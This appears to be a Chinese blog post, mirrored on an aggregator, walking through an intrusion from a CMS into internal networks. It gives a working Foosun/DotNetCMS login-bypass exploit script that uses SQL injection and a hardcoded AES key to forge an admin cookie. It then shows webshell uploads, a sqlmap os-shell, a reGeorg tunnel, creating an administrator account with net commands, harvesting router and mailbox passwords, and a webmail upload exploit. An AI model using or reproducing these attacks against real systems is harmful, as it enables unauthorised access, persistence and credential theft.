zoukankan      html  css  js  c++  java
  • 从*到内网漫游

     信息收集

    登陆目标网站,在首页的使用协议界面查看元素,获取到网站版本

     

    上网搜索到网站所用的DotNetCMS 2.0曾经爆发过一个登陆绕过漏洞

    登录绕过漏洞

    将下面的代码命名为一个zsd.py的文件

    #coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:           ####inurl:/manage/Login.aspx   #################################

    KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'

    IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():

      parser = argparse.ArgumentParser()

      parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")

      return parser.parse_args()def run(url):

      try:

          usernumber = get_usernumber(url)

          if usernumber is not None:

              encrypt_cookie = generate_cookie(usernumber)

              #写入cookie中

              write_cookie(url, encrypt_cookie)

      except Exception:

          traceback.print_exc()def get_usernumber(url):

      fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"

      content = urllib.urlopen(fullurl).read()

      index = content.index("<option value="")

      if  index != -1:

          usernumber = content[index+15:]

          usernumber = usernumber[0: content.index(""")+1]

          print "Get usernumber success. Usernumber is :", usernumber

          return usernumber

      else:

          print "Get usernumber fail"

          return Nonedef pkcs7padding(data):

      bs = AES.block_size

      padding = bs - len(data) % bs

      padding_text = chr(padding) * padding

      return data + padding_textdef generate_cookie(usernumber):

      orgstr = "%s,admin,0,1,False"%(usernumber,)

      cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])

      ciphertext = cryptor.encrypt(pkcs7padding(orgstr))

      ciphertext = base64.b64encode(ciphertext)

      return ciphertextdef write_cookie(url, ciphercookie):

      print "Generate Cookie[SITEINFO]:", ciphercookie

      print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':

      args = parse_args()

      try:

          if args.url is not None:

              run(args.url[0])

      except Exception, e:

          print "python Foosun_exp.py -u [url]"

    运行zsd文件命令为python zsd.py -u http://www.test.com,会出现报错没有安装crypto模块

     

    kali中进行安装,命令为pip install Crypto

     安装完后再运行一下zsd文件python zsd.py -u http://www.test.com,成功获取到cookie

     

    在后台登录界面/manage/Index.aspx,使用Cookie Editor为【火狐】插件小工具,输入对应的值保存即可【exp.py运行的结果】

     

    删除前面的url,再刷新即可绕过登录后台【不要按“回车键”刷新,点击“url栏”右侧的“转到”-->刷新】

     

    成功绕过登录进入后台管理界面

    文件上传

    进入后台后发现控制面板>系统参数设置>上传 处可修改上传文件允许格式,在里面加入asp格式

    在插件管理>广告系统>添加广告 处可上传文件

     成功上传asp一句话

    并返回上传后的文件路径

    访问一下空白,一句话上传成功

    使用菜刀成功连接,获取到shell

    SQL注入getshell

    先找到注入点http://www.test.com/user/City_ajax.aspx?CityId=1

     

    利用sqlmap获取shell直接执行sql语句进行交互sqlmap.py -u “http://www.test.com/user/City_ajax.aspx?CityId=1” --os-shell

    使用ipconfig查看目标主机IP

    os-shell向目标主机写入aspx一句话

    成功上传,用“菜刀工具”连接,成功getshell

     

    代理访问内网

    通过查看ip,发现IP192.168.1.123说明这个才是内网想要进一步渗透内网,需要与目标主机建立http隧道,从而进入目标内网

    先利用“菜刀”上传“wlt.aspx”文件,在kali中利用“reGeorg”打通隧道便可代理连接

    命令python reGeorgSocksProxy.py -p 9982 -u http://192.168.31.55/user/wlt.aspx

     

    使用proxchains”工具代理火狐浏览器:proxychains firefox

     

    成功访问内网192.168.1.123

     

    添加系统超管

    os-shell下建立账户并提升到administrator组

    做法:1建一个普通用户net user wllt key123ASD /add 

    2将其提权为超级管理用户net localgroup administrators wllt /add

    代理远程桌面使用http隧道代理访问目标内网主机的3389端口命令为proxychains rdesktop 192.168.1.123,用自己创建的账户通过远程桌面成功进入

    远程连接系统主机与搜集信息

    进入主机后,在Administrator管理员的文件下找到一个txt文件,发现有路由器的账户密码

    和一个邮箱账户和密码

     

    通过代理firefox以及得到的路由器的账户密码,进入到路由器,发现另一个网段172.19.23.1

     

    在终端监控找到ip 172.19.23.123

    第二个内网渗透测试

    使用http隧道代理建立连接,并访问目标IP

     

    利用上面得到的邮箱账户与密码,成功进入

     

    CMS曾经爆发过严重的文件上传漏洞,我们可以尝试检查目标网站有没有修复该漏洞

    首先使用如下payload,成功爆出user-id3

    /webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk

    使用如下EXP代码上传一个图片马

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <FORMname=form1method=postaction="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>

    上传文件:<input type="file" name="Filedata" size="30">

    <INPUT type=submit value=上传 name=Submit>

     

    爆出相应的file_id信息

    访问http://172.19.23.123/webmail/client/cache/3/15598087796.jpg/.php,成功连接大马

     未完待续!!!

  • 相关阅读:
    数据科学面试应关注的6个要点
    Python3.9的7个特性
    一种超参数优化技术-Hyperopt
    梯度下降算法在机器学习中的工作原理
    MQ(消息队列)功能介绍
    D. The Number of Pairs 数学
    F. Triangular Paths 思维
    D. XOR-gun 思维和 + 前缀
    C. Basic Diplomacy 思维
    D. Playlist 思维
  • 原文地址:https://www.cnblogs.com/xiaoerban/p/10994113.html
Copyright © 2011-2022 走看看